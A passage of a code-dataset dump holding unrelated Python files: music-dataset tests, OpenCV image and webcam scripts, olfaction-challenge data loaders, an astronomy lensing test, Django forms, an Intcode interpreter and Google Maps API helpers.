HymnalTuneDataset,\n JSBChoralesDataset,\n LakhMIDIAlignedDataset,\n LakhMIDIDataset,\n LakhMIDIMatchedDataset,\n MAESTRODatasetV1,\n MAESTRODatasetV2,\n MAESTRODatasetV3,\n Music21Dataset,\n MusicDataset,\n MusicNetDataset,\n NESMusicDatabase,\n NottinghamDatabase,\n WikifoniaDataset,\n get_dataset,\n list_datasets,\n)\n\nfrom .utils import (\n TEST_JSON_GZ_PATH,\n TEST_JSON_PATH,\n TEST_YAML_GZ_PATH,\n TEST_YAML_PATH,\n)\n\n\ndef test_get_dataset():\n answers = [\n (\"essen\", EssenFolkSongDatabase),\n (\"emopia\", EMOPIADataset),\n (\"haydn\", HaydnOp20Dataset),\n (\"hymnal\", HymnalDataset),\n (\"hymnal-tune\", HymnalTuneDataset),\n (\"jsb\", JSBChoralesDataset),\n (\"lmd\", LakhMIDIDataset),\n (\"lmd-full\", LakhMIDIDataset),\n (\"lmd-matched\", LakhMIDIMatchedDataset),\n (\"lmd-aligned\", LakhMIDIAlignedDataset),\n (\"maestro\", MAESTRODatasetV3),\n (\"maestro-v1\", MAESTRODatasetV1),\n (\"maestro-v2\", MAESTRODatasetV2),\n (\"maestro-v3\", MAESTRODatasetV3),\n (\"music21\", Music21Dataset),\n (\"musicnet\", MusicNetDataset),\n (\"nes\", NESMusicDatabase),\n (\"nmd\", NottinghamDatabase),\n (\"wikifonia\", WikifoniaDataset),\n ]\n for key, dataset in answers:\n assert get_dataset(key) == dataset\n\n with pytest.raises(ValueError):\n get_dataset(\"_\")\n\n\ndef test_list_datasets():\n assert len(list_datasets()) == 17\n\n\ndef test_music_dataset(tmp_path):\n shutil.copyfile(TEST_JSON_GZ_PATH, tmp_path / TEST_JSON_GZ_PATH.name)\n shutil.copyfile(TEST_JSON_PATH, tmp_path / TEST_JSON_PATH.name)\n shutil.copyfile(TEST_YAML_GZ_PATH, tmp_path / TEST_YAML_GZ_PATH.name)\n shutil.copyfile(TEST_YAML_PATH, tmp_path / TEST_YAML_PATH.name)\n\n dataset = MusicDataset(tmp_path)\n assert len(dataset) == 4\n\n\ndef test_music21():\n dataset = Music21Dataset(\"demos\")\n assert dataset[0] is not None\n\n\ndef test_convert(tmp_path):\n dataset = Music21Dataset(\"demos\")\n dataset.convert(tmp_path)\n\n folder_dataset = MusicDataset(tmp_path)\n assert folder_dataset[0] is not None\n\n\ndef test_split(tmp_path):\n dataset = Music21Dataset(\"demos\")\n dataset.split(filename=tmp_path / \"splits.txt\", splits=(0.8, 0.1, 0.1))\n\n\ndef test_to_pytorch_dataset():\n dataset = Music21Dataset(\"demos\")\n pytorch_dataset = dataset.to_pytorch_dataset(representation=\"pitch\")\n assert pytorch_dataset[0] is not None\n\n\ndef test_to_tensorflow_dataset():\n tf.config.set_visible_devices([], \"GPU\")\n dataset = Music21Dataset(\"demos\")\n tensorflow_dataset = dataset.to_tensorflow_dataset(representation=\"pitch\")\n assert tensorflow_dataset.take(1) is not None\n","sub_path":"tests/test_datasets.py","file_name":"test_datasets.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"462218990","text":"'''\nimport os\n\nprint(os.getcwd())\nf = os.getcwd()\nlist1 = os.listdir(f)\nprint(list1)\n''' \nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport tensorflow as tf \nfrom tensorflow import keras\n#from keras.models import load_model\nfrom keras.preprocessing import image\nfrom PIL import Image\nfrom scipy import misc\n\nnew_model = tf.keras.models.load_model('/home/ford/Desktop/with10epochs.h5')\n\n##test_img = 'datasets/testing.jpg' \n\n\ndef machine(img,Height,Width,radius,center):\n\n\n## test_img = image.load_img(img,target_size=(100,100))\n test_img = misc.imresize(img,(100,100))\n \n test_size = image.img_to_array(test_img)\n\n\n test_img = np.expand_dims(test_img,axis=0)\n\n test_img = test_img/255\n\n pvalue = new_model.predict(test_img)\n\n pclass = new_model.predict_classes(test_img)\n\n if pvalue > 0.8 :\n \n print(pclass)\n\n## print(pvalue)\n\n object_center = center\n\n camer_center = int(Width/2), int(Height/2)\n try:\n move = math.sqrt(int(math.pow(camer_center[0] - object_center[0]),2) + nt(math.pow(camer_center[1] - object_center[1]),2))\n print(move)\n except:\n pass\n \n else:\n print('no tomato')\n print(center)\n\ncap = cv2.VideoCapture(0)\n\nlower_purple = np.array([-10, 100, 100])\nupper_purple = np.array([10, 255, 255])\n\npoints = []\n\n\nret, frame = cap.read()\ndetect_frame = frame.copy()\nHeight, Width = frame.shape[:2]\nframe_count = 0\n\nwhile True:\n test_img1 = 'datasets/testing.jpg' \n ret, frame = cap.read()\n hsv_img = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv_img, lower_purple, upper_purple)\n _, contours, _ = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n# contours, _ = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n center = int(Height/2), int(Width/2)\n\n if len(contours) > 0:\n c = max(contours, key=cv2.contourArea)\n (x, y), radius = cv2.minEnclosingCircle(c)\n M = cv2.moments(c)\n\n try:\n center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\n\n except:\n center = int(Height/2), int(Width/2)\n if radius > 25:\n cv2.circle(frame, (int(x), int(y)), int(radius),(0, 0, 255), 2)\n cv2.circle(frame, center, 5, (0, 255, 0), -1)\n detect_frame = frame.copy()\n machine(detect_frame,Height,Width,radius,center)\n\n points.append(center)\n\n \n\n frame = cv2.flip(frame, 1)\n cv2.imshow(\"Object Tracker\", frame)\n\n if cv2.waitKey(1) == 27: \n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n\n","sub_path":"connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"483588812","text":"import os, csv, ast, time\n\nimport numpy as np\n\nfrom . import scoring\nimport opc_python\nfrom opc_python import * # Import constants. \nROOT_PATH = os.path.split(opc_python.__path__[0])[0]\nDATA_PATH = os.path.join(ROOT_PATH,'data')\nPREDICTION_PATH = os.path.join(ROOT_PATH,'predictions')\n\ndef load_perceptual_data(kind):\n if kind == 'training':\n kind = 'TrainSet'\n elif kind == 'leaderboard':\n kind = 'LeaderboardSet'\n else:\n raise ValueError(\"No such kind: %s\" % kind)\n \n data = []\n file_path = os.path.join(DATA_PATH,'%s.txt' % kind)\n with open(file_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n line[0:6] = [x.strip() for x in line[0:6]]\n line[2] = True if line[2]=='replicate' else False\n line[6:] = ['NaN' if x=='NaN' else int(x) for x in line[6:]]\n data.append(line)\n else:\n headers = line\n return headers,data\n\ndef format_leaderboard_perceptual_data(data_path=''):\n new_leaderboard_file_path = os.path.join(DATA_PATH,'LeaderboardSet.txt')\n f_new = open(new_leaderboard_file_path,'w')\n writer = csv.writer(f_new,delimiter=\"\\t\")\n headers,_ = load_perceptual_data('training')\n descriptors = headers[6:]\n writer.writerow(headers)\n CID_dilutions = get_CID_dilutions('leaderboard',target_dilution='raw')\n dilutions = {}\n for CID_dilution in CID_dilutions:\n CID,mag,high = CID_dilution.split('_')\n dilutions[int(CID)] = {'dilution':('1/%d' % 10**(-int(mag))),\n 'high':int(high)}\n lines_new = {}\n \n lbs1_path = os.path.join(DATA_PATH,'LBs1.txt')\n with open(lbs1_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n CID,subject,descriptor,value = line\n CID = int(CID)\n subject = int(subject)\n if descriptor == 'INTENSITY/STRENGTH':\n dilution = '1/1000'\n high = 1-dilutions[CID]['high']\n else:\n high = dilutions[CID]['high']\n dilution = dilutions[CID]['dilution'] if high else '1/1000'\n line_id = '%d_%d_%d' % (CID,subject,dilution2magnitude(dilution))\n if line_id not in lines_new:\n lines_new[line_id] = [CID,'N/A',0,'high' if high else 'low',dilution,subject]+['NaN']*21\n lines_new[line_id][6+descriptors.index(descriptor.strip())] = value\n\n leaderboard_set_file_path = os.path.join(DATA_PATH,'leaderboard_set.txt')\n with open(leaderboard_set_file_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n CID,subject,descriptor,value = line\n CID = int(CID)\n subject = int(subject)\n if descriptor == 'INTENSITY/STRENGTH':\n dilution = dilutions[CID]['dilution']\n high = dilutions[CID]['high']\n else:\n high = 1-dilutions[CID]['high']\n dilution = dilutions[CID]['dilution'] if high else '1/1000'\n line_id = '%d_%d_%d' % (CID,subject,dilution2magnitude(dilution))\n if line_id not in lines_new:\n lines_new[line_id] = [CID,'N/A',0,'high' if high else 'low',dilution,subject]+['NaN']*21\n lines_new[line_id][6+descriptors.index(descriptor.strip())] = value\n\n\n for line_id in sorted(lines_new,key=lambda x:[int(_) for _ in x.split('_')]):\n line = lines_new[line_id]\n writer.writerow(line)\n f_new.close()\n\ndef load_leaderboard_perceptual_data(target_dilution=None):\n \"\"\"Loads directly into Y\"\"\"\n if target_dilution == 'gold':\n # For actual testing, use 1/1000 dilution for intensity and\n # high dilution for everything else. \n Y = load_leaderboard_perceptual_data(target_dilution='high')\n intensity = load_leaderboard_perceptual_data(target_dilution=-3)\n Y['mean_std'][:,0] = intensity['mean_std'][:,0]\n Y['mean_std'][:,21] = intensity['mean_std'][:,21]\n for i in range(len(Y['subject'])):\n Y['subject'][i][:,0] = intensity['subject'][i][:,0]\n Y['subject'][i][:,21] = intensity['subject'][i][:,21]\n return Y\n #assert target_dilution in [None,'low','high']\n perceptual_headers, _ = load_perceptual_data()\n descriptors = perceptual_headers[6:]\n CIDs = get_CID_dilutions('leaderboard',target_dilution=target_dilution)\n CIDs_all = get_CID_dilutions('leaderboard',target_dilution=None)\n CIDs = [int(_.split('_')[0]) for _ in CIDs] # Keep only CIDs, not dilutions. \n n_molecules = len(CIDs)\n Y = {#'mean':np.zeros((n_molecules,21)),\n #'std':np.zeros((n_molecules,21)),\n 'mean_std':np.zeros((n_molecules,42)),\n 'subject':{i:np.zeros((n_molecules,21)) for i in range(1,50)}}\n if target_dilution not in ['low','high',None]:\n CID_ranks = get_CID_rank('leaderboard',dilution=target_dilution)\n if target_dilution != 'low':\n lbs1_path = os.path.join(DATA_PATH,'LBs1.txt')\n with open(lbs1_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n CID,subject,descriptor,value = line\n if target_dilution not in ['low','high',None] and CID_ranks[int(CID)]!=1:\n continue\n Y['subject'][int(subject)][CIDs.index(int(CID)),descriptors.index(descriptor.strip())] = value\n \n lbs2_path = os.path.join(DATA_PATH,'LBs2.txt')\n with open(lbs2_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n CID,descriptor,mean,std = line\n if target_dilution not in ['low','high',None] and CID_ranks[int(CID)]!=1:\n continue\n #Y['mean'][CIDs.index(CID),descriptors.index(descriptor.strip())] = mean\n #Y['std'][CIDs.index(CID),descriptors.index(descriptor.strip())] = std\n Y['mean_std'][CIDs.index(int(CID)),descriptors.index(descriptor.strip())] = mean\n Y['mean_std'][CIDs.index(int(CID)),21+descriptors.index(descriptor.strip())] = std\n \n if target_dilution != 'high':\n leaderboard_set_file_path = os.path.join(DATA_PATH,'leaderboard_set.txt')\n with open(leaderboard_set_file_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n for line_num,line in enumerate(reader):\n if line_num > 0:\n CID,subject,descriptor,value = line\n if target_dilution not in ['low','high',None] and CID_ranks[int(CID)]!=0:\n continue\n Y['subject'][int(subject)][CIDs.index(int(CID)),descriptors.index(descriptor.strip())] = value\n z = np.dstack([_ for _ in Y['subject'].values()])\n mask = np.zeros(z.shape)\n mask[np.where(np.isnan(z))] = 1\n z = np.ma.array(z,mask=mask)\n y_mean = z.mean(axis=2)\n y_std = z.std(axis=2,ddof=1)\n for CID in CID_ranks:\n if CID_ranks[CID] == 0:\n row = CIDs.index(CID)\n col = descriptors.index(descriptor.strip())\n Y['mean_std'][row,:21] = y_mean[row,:]\n Y['mean_std'][row,21:] = y_std[row,:]\n Y['mean_std'] = Y['mean_std'].round(2)\n return Y\n\ndef load_molecular_data():\n mdd_file_path = os.path.join(DATA_PATH,'molecular_descriptors_data.txt')\n with open(mdd_file_path) as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n data = []\n for line_num,line in enumerate(reader):\n if line_num > 0:\n line[1:] = ['NaN' if x=='NaN' else float(x) for x in line[1:]]\n data.append(line)\n else:\n headers = line\n return headers,data\n\ndef get_CID_dilutions(kind,target_dilution=None):\n assert kind in ['training','leaderboard','testset']\n \"\"\"Return CIDs for molecules that will be used for:\n 'leaderboard': the leaderboard to determine the provisional \n leaders of the competition.\n 'testset': final testing to determine the winners \n of the competition.\"\"\"\n if kind == 'training':\n data = []\n _,lines = load_perceptual_data(kind)\n for line in lines[1:]:\n CID = int(line[0])\n dilution = line[4]\n mag = dilution2magnitude(dilution)\n high = line[3] == 'high'\n if target_dilution == 'high' and not high:\n continue\n if target_dilution == 'low' and not low:\n continue\n elif target_dilution not in [None,'high','low'] and \\\n mag != target_dilution:\n continue\n data.append(\"%d_%g_%d\" % (CID,mag,high))\n data = list(set(data))\n else:\n dilution_file_path = os.path.join(DATA_PATH,'dilution_%s.txt' % kind)\n with open(dilution_file_path) as f:\n reader = csv.reader(f,delimiter='\\t')\n next(reader)\n lines = [[int(line[0]),line[1]] for line in reader]\n data = []\n for i,(CID,dilution) in enumerate(lines):\n mag = dilution2magnitude(dilution)\n high = (mag > -3)\n if target_dilution == 'high':\n if high:\n data.append('%d_%g_%d' % (CID,mag,1))\n else:\n data.append('%d_%g_%d' % (CID,-3,1))\n elif target_dilution == 'low':\n if not high:\n data.append('%d_%g_%d' % (CID,mag,0))\n else:\n data.append('%d_%g_%d' % (CID,-3,0))\n elif target_dilution is None:\n data.append('%d_%g_%d' % (CID,mag,high))\n data.append('%d_%g_%d' % (CID,-3,1-high))\n elif target_dilution in [mag,'raw']:\n data.append('%d_%g_%d' % (CID,mag,high))\n elif target_dilution == -3:\n data.append('%d_%g_%d' % (CID,-3,1-high))\n \n return sorted(data,key=lambda x:[int(_) for _ in x.split('_')])\n\ndef get_CIDs(kind):\n CID_dilutions = get_CID_dilutions(kind)\n CIDs = [int(_.split('_')[0]) for _ in CID_dilutions]\n return sorted(list(set(CIDs)))\n\ndef get_CID_rank(kind,dilution=-3):\n \"\"\"Returns CID dictionary with 1 if -3 dilution is highest, \n 0 if it is lowest, -1 if it is not present.\n \"\"\"\n\n CID_dilutions = get_CID_dilutions(kind)\n CIDs = set([int(_.split('_')[0]) for _ in CID_dilutions])\n result = {}\n for CID in CIDs:\n high = '%d_%g_%d' % (CID,dilution,1)\n low = '%d_%g_%d' % (CID,dilution,0)\n if high in CID_dilutions:\n result[CID] = 1\n elif low in CID_dilutions:\n result[CID] = 0\n else:\n result[CID] = -1\n return result\n\ndef dilution2magnitude(dilution):\n denom = dilution.replace('\"','').replace(\"'\",\"\").split('/')[1].replace(',','')\n return np.log10(1.0/float(denom))\n\n\"\"\"Output\"\"\"\n\n# Write predictions for each subchallenge to a file. \ndef open_prediction_file(subchallenge,kind,name):\n prediction_file_path = os.path.join(PREDICTION_PATH,\\\n 'challenge_%d_%s_%s.txt' \\\n % (subchallenge,kind,name))\n f = open(prediction_file_path,'w')\n writer = csv.writer(f,delimiter='\\t')\n return f,writer\n\ndef write_prediction_files(Y,kind,subchallenge,name):\n f,writer = open_prediction_file(subchallenge,kind,name=name)\n CIDs = get_CIDs(kind)\n perceptual_headers, _ = load_perceptual_data('training')\n\n # Subchallenge 1.\n if subchallenge == 1:\n writer.writerow([\"#oID\",\"individual\",\"descriptor\",\"value\"])\n for subject in range(1,NUM_SUBJECTS+1):\n for j in range(NUM_DESCRIPTORS):\n for i,CID in enumerate(CIDs):\n descriptor = perceptual_headers[-NUM_DESCRIPTORS:][j]\n value = Y['subject'][subject][i,j].round(3)\n writer.writerow([CID,subject,descriptor,value])\n f.close()\n \n # Subchallenge 2.\n elif subchallenge == 2:\n writer.writerow([\"#oID\",\"descriptor\",\"value\",\"sigma\"])\n for j in range(NUM_DESCRIPTORS):\n for i,CID in enumerate(CIDs):\n descriptor = perceptual_headers[-NUM_DESCRIPTORS:][j]\n value = Y['mean_std'][i,j].round(3)\n sigma = Y['mean_std'][i,j+NUM_DESCRIPTORS].round(3)\n writer.writerow([CID,descriptor,value,sigma])\n f.close()\n\ndef make_prediction_files(rfcs,X_int,X_other,target,subchallenge,Y_test=None,write=True,trans_weight=[1.0,0,0.5],regularize=[0.7,0.7,0.7],name=None):\n if len(regularize)==1 and type(regularize)==list:\n regularize = regularize*3\n if name is None:\n name = '%d' % time.time()\n\n Y = {'subject':{}}\n \n if subchallenge == 1:\n kinds = ['int','ple','dec']\n ys = {kind:{} for kind in kinds}\n for i,kind in enumerate(kinds):\n X = X_int if kind=='int' else X_other\n for subject in range(1,50):\n ys[kind][subject] = rfcs[kind][subject].predict(X)\n ys_list = [ys[kind][subject] for subject in range(1,50)]\n ys[kind] = np.dstack(ys_list)\n ys_kind_mean = ys[kind].mean(axis=2,keepdims=True)\n ys[kind] = regularize[i]*ys_kind_mean + (1-regularize[i])*ys[kind]\n for subject in range(1,50):\n Y['subject'][subject] = ys['int'][:,:,subject-1]\n Y['subject'][subject][:,1] = ys['ple'][:,1,subject-1]\n Y['subject'][subject][:,2:] = ys['dec'][:,2:,subject-1]\n if Y_test:\n predicted = ys['int'].copy()\n observed = ys['int'].copy()\n for subject in range(1,50):\n predicted[:,:,subject-1] = Y['subject'][subject]\n observed[:,:,subject-1] = Y_test['subject'][subject]\n print(scoring.score_summary(predicted,observed))\n \n if subchallenge == 2:\n def f_int(x, k0=0.718, k1=1.08):\n return 100*(k0*(x/100)**(k1*0.5) - k0*(x/100)**(k1*2))\n def f_ple(x):\n pass\n def f_dec(x, k0=0.8425, k1=1.13):\n return 100*(k0*(x/100)**(k1*0.5) - k0*(x/100)**(k1*2))\n kinds = ['int','ple','dec']\n moments = ['mean','sigma']\n ys = {kind:{} for kind in kinds}\n for kind in ['int','ple','dec']:\n X = X_int if kind=='int' else X_other\n for moment in ['mean','sigma']:\n ys[kind][moment] = rfcs[kind][moment].predict(X)\n y = ys['int']['mean'].copy()\n y[:,1] = ys['ple']['mean'][:,1]\n y[:,2:21] = ys['dec']['mean'][:,2:21]\n \n trans = f_int(ys['int']['mean'][:,0])\n regular = ys['int']['sigma'][:,21]\n y[:,21] = trans_weight[0]*trans + (1-trans_weight[0])*regular\n \n y[:,22] = ys['ple']['sigma'][:,22]\n \n trans = f_dec(ys['dec']['mean'][:,2:21])\n regular = ys['dec']['sigma'][:,23:]\n y[:,23:] = trans_weight[2]*trans + (1-trans_weight[2])*regular\n \n Y['mean_std'] = y\n if Y_test:\n print(scoring.score_summary2(Y['mean_std'],Y_test['mean_std'],mask=True))\n \n if write:\n write_prediction_files(Y,target,subchallenge,name)\n print('Wrote to file with suffix \"%s\"' % name)\n return Y\n\n","sub_path":"opc_python/utils/loading.py","file_name":"loading.py","file_ext":"py","file_size_in_byte":15966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"581355820","text":"import autofit as af\nimport autolens as al\nfrom test_autolens.integration.tests.imaging import runner\n\ntest_type = \"phase_features\"\ntest_name = \"positions__offset_centre\"\ndata_type = \"lens_sis__source_smooth__offset_centre\"\ndata_resolution = \"lsst\"\n\n\ndef make_pipeline(name, phase_folders, optimizer_class=af.MultiNest):\n class LensPhase(al.PhaseImaging):\n def customize_priors(self, results):\n\n self.galaxies.lens.mass.centre_0 = af.GaussianPrior(mean=4.0, sigma=0.1)\n self.galaxies.lens.mass.centre_1 = af.GaussianPrior(mean=4.0, sigma=0.1)\n self.galaxies.source.light.centre_0 = af.GaussianPrior(mean=4.0, sigma=0.1)\n self.galaxies.source.light.centre_1 = af.GaussianPrior(mean=4.0, sigma=0.1)\n\n phase1 = LensPhase(\n phase_name=\"phase_1\",\n phase_folders=phase_folders,\n galaxies=dict(\n lens=al.GalaxyModel(redshift=0.5, mass=al.mp.SphericalIsothermal),\n source=al.GalaxyModel(redshift=1.0, light=al.lp.EllipticalSersic),\n ),\n positions_threshold=0.5,\n optimizer_class=optimizer_class,\n )\n\n phase1.optimizer.const_efficiency_mode = True\n phase1.optimizer.n_live_points = 30\n phase1.optimizer.sampling_efficiency = 0.8\n\n return al.PipelineDataset(name, phase1)\n\n\nif __name__ == \"__main__\":\n import sys\n\n runner.run(\n sys.modules[__name__],\n positions=[[(5.6, 4.0), (4.0, 5.6), (2.4, 4.0), (4.0, 2.4)]],\n )\n","sub_path":"test_autolens/integration/tests/imaging/phase_features/positions__offset_centre.py","file_name":"positions__offset_centre.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"612820489","text":"from django import forms\nfrom pos_store import models, helpers\n\n\n\nclass AddFranchisee(forms.ModelForm):\n class Meta:\n model = models.Franchisee\n exclude = [\"id\"]\n\nclass DeleteFranchisee(forms.ModelForm):\n class Meta: \n model = models.Franchisee\n fields = [\"id\"]\n\n \n def save(self):\n pk = self.cleaned_data.get(\"id\")\n return models.Franchisee.objects.filter(id=pk).delete()\n\n\nclass CleanStoreFields(forms.ModelForm):\n\n class Meta:\n abstract = True\n \n sunday = forms.Field(required=False)\n monday = forms.Field(required=False)\n tuesday = forms.Field(required=False)\n wednesday = forms.Field(required=False)\n thursday = forms.Field(required=False)\n friday = forms.Field(required=False)\n saturday = forms.Field(required=False)\n \n def clean(self):\n \n days = [\"sunday\", \"monday\", \"tuesday\", \"wednesday\", \"thursday\", \"friday\", \"saturday\"]\n\n for day in days:\n timings = self.data.get(day)\n if isinstance(timings, int):\n if not helpers.is_integer_time_valid(timings):\n raise forms.ValidationError(\"Timings are not valid for \" + day+ \".\")\n else:\n if not isinstance(timings, list):\n raise forms.ValidationError(\"Timings are not valid for \" + day)\n currentTime = 0\n for time in timings:\n start = time.get(\"start\")\n end = time.get(\"end\")\n start = start * 100 if start < 100 else start\n end = end * 100 if end < 100 else end\n if not helpers.is_time_valid(start):\n raise forms.ValidationError(\"Opening time is not valid for \" + day)\n if not helpers.is_time_valid(end):\n raise forms.ValidationError(\"Closing time is not valid for \" + day)\n \n \"\"\" Evaluate the condition where store opens up and closes on the next day \"\"\"\n if start > end: \n raise forms.ValidationError(\"Timings are not valid for \" + day+ \". Opening time should be before closing time.\")\n \n if end < currentTime or start < currentTime:\n raise forms.ValidationError(\"Timings are not valid for \" + day+ \". Opening time should be before closing time.\")\n\n currentTime = end\n \n time = helpers.create_time(timings)\n self.data[day] = time\n self.cleaned_data[day] = time\n return super().clean()\n\n\nclass AddStore(CleanStoreFields):\n\n class Meta: \n model = models.Store\n fields = \"__all__\"\n \n id = forms.IntegerField(required=False)\n\nclass UpdateStore(CleanStoreFields):\n class Meta: \n model = models.Store\n fields = \"__all__\"\n \n\nclass DeleteStore(forms.ModelForm):\n\n class Meta: \n model = models.Store\n fields = [\"id\"]\n\n \n def save(self):\n pk = self.cleaned_data.get(\"id\")\n return models.Store.objects.filter(id=pk).delete()\n \n\n\nclass AddAvailableItem(forms.ModelForm):\n\n class Meta:\n model = models.AvailableItem\n exclude = [\"id\"]\n \n","sub_path":"api/pos_store/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"330472909","text":"import typing\nfrom instruction import IntcodeInstruction, AddressingMode\n\nclass IntcodeMachine: \n\n def __init__(self, initial_memory : typing.List[int], instruction_set : typing.Dict[int, IntcodeInstruction], inpt=[]):\n self.memory = {\n i:initial_memory[i] for i in range(len(initial_memory))\n }\n self.memory_top = len(initial_memory) + 1\n self.pc = -1\n self.running = True\n self.jumped = False\n self.input = inpt\n self.output = []\n self.instruction_set = instruction_set\n self.relbase = 0\n\n def next_pc(self):\n if self.jumped: \n self.jumped = False\n return self.pc\n\n self.pc += 1\n while self.pc not in self.memory: \n self.pc += 1\n if self.pc > self.memory_top:\n # Halt; run off the end of memory\n raise KeyError(\"Run off the end of memory!\")\n return self.pc\n\n def step(self) -> bool:\n try: full_opcode = self.memory[self.next_pc()]\n except KeyError: return False\n\n inst = self.instruction_set[full_opcode % 100]\n args = tuple(\n self.memory[self.next_pc()]\n for _ in range(inst.OPERANDS)\n )\n inst.exec(full_opcode, self, *args)\n return self.running\n\n\n def fetch(self, op, mode : AddressingMode):\n if mode == AddressingMode.IMMEDIATE: return op\n # else\n if mode == AddressingMode.RELATIVE: \n op += self.relbase\n if op in self.memory:\n return self.memory[op]\n elif op < 0:\n raise RuntimeError(f\"Negative access at address {op}\")\n else:\n # print(f\"Uninitialised access at address {op}, returning 0\")\n return 0\n\n def store(self, address : int, value : int, mode : AddressingMode):\n address = address + self.relbase if mode == AddressingMode.RELATIVE else address\n self.memory[address] = value\n if address > self.memory_top: self.memory_top = address + 1\n\n def jump(self, address):\n self.pc = address\n self.jumped = True","sub_path":"intcode.py","file_name":"intcode.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"418354589","text":"# -*- coding: utf-8 -*-\nimport cv2\n\ndef main():\n # 画像をグレースケールで取得\n im1 = cv2.imread(\"test1.jpg\",0)\n im2 = cv2.imread(\"test2.jpg\",0)\n # 画像のヒストグラム計算\n hist1 = cv2.calcHist([im1],[0],None,[256],[0,256])\n hist2 = cv2.calcHist([im2],[0],None,[256],[0,256])\n # ヒストグラムの類似度を計算\n d = cv2.compareHist(hist1,hist2,0)\n print(d)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/opencv/opencv-old/image/similarity/histgram.py","file_name":"histgram.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"156322935","text":"import numpy as py\nimport cv2\n\n# Read image\n# The flag values for imread are 1, 0, -1 for color, grayscale and unchanged respectively\nimg = cv2.imread('image.png',0)\n\n# Check to see if the image is read correctly\nif img is None:\n print(\"error: image not read from file \\n\\n\")\n cv2.waitKey(0)\n\n# Show image\ncv2.namedWindow('image', cv2.WINDOW_NORMAL)\ncv2.imshow('image',img)\n\n# Save user input\nuserInput = cv2.waitKey(0)\n\n# Check user input, wether they just want to exit or save and exit\nif userInput == 27:\n cv2.destroyAllWindows()\nelif userInput == ord('s'):\n cv2.imwrite('imageGray.png',img)\n cv2.destroyAllWindows()\n\n\n","sub_path":"readImage/readImage.py","file_name":"readImage.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"469583794","text":"from django.conf import settings\nimport urllib\nimport json\nimport sys\nfrom admins.models import Configuration\n \nclass Utilities():\n \"\"\" \n Internal class to contain supplemental f(x)'s that are utilitarian to BH business logic but directly in service of forward facing BH logic.\n \"\"\"\n #BEGIN PoLR utility function code\n\n def get_distance_matrix(origin_geocodes, destination_geocode, arrival_datetime, travel_mode, polr_settings):\n\n distance_matrix_API_URL = settings.POLR_GOOGLE_DISTANCEMATRIX_API_URL.format(\n urllib.parse.urlencode({ \"\" : polr_settings.google_api_key }), \n urllib.parse.urlencode( { \"\" : \"|\".join(\",\".join(str(component) for component in geocode) for geocode in origin_geocodes) }), \n urllib.parse.urlencode( { \"\" : \",\".join(str(component) for component in destination_geocode) }), \n urllib.parse.urlencode({ \"\" : travel_mode }), \n urllib.parse.urlencode( { \"\" : arrival_datetime }) \n #add more arguments as necessary here for supporting additional isochrone generation parameters., additional API call parameters would go here such that they line up with the token ordinals defined in settings.POLR_GOOGLE_DISTANCEMATRIX_API_URL \n )\n\n if settings.POLR_DEBUG_LEVEL >= 3: sys.stderr.write(distance_matrix_API_URL + \"\\n\")\n response = Utilities.execute_remote_API_call(distance_matrix_API_URL)\n\n if response[\"status\"] != \"OK\":\n raise RuntimeError(\"get_distance_matrix() could not successfully process the requested API call. origin_geocodes == {0}, destination_geocode == {1}, arrival_datetime == {2}, travel_mode == {3}, response == {4}\".format(\n origin_geocodes, destination_geocode, arrival_datetime, travel_mode, response)\n )\n\n return response \n\n def get_geocode(origin_address, polr_settings):\n\n geocode_API_URL = settings.POLR_GOOGLE_GEOCODE_API_URL.format(urllib.parse.urlencode({ \"\" : polr_settings.google_api_key }), urllib.parse.urlencode( { \"\" : origin_address }))\n \n if settings.POLR_DEBUG_LEVEL >= 3: sys.stderr.write(geocode_API_URL + \"\\n\")\n response = Utilities.execute_remote_API_call(geocode_API_URL)\n\n if response[\"status\"] != \"OK\":\n raise RuntimeError(\"get_geocode() could not successfully process the requested origin_address. origin_address == {0}, response == {1}\".format(origin_address, response))\n\n return [response[\"results\"][0][\"geometry\"][\"location\"][\"lat\"], response[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]]\n\n def execute_remote_API_call(service_URL):\n\n response = urllib.request.urlopen(service_URL)\n return json.loads(response.read().decode(\"utf-8\"))\n\n #END PoLR utility function 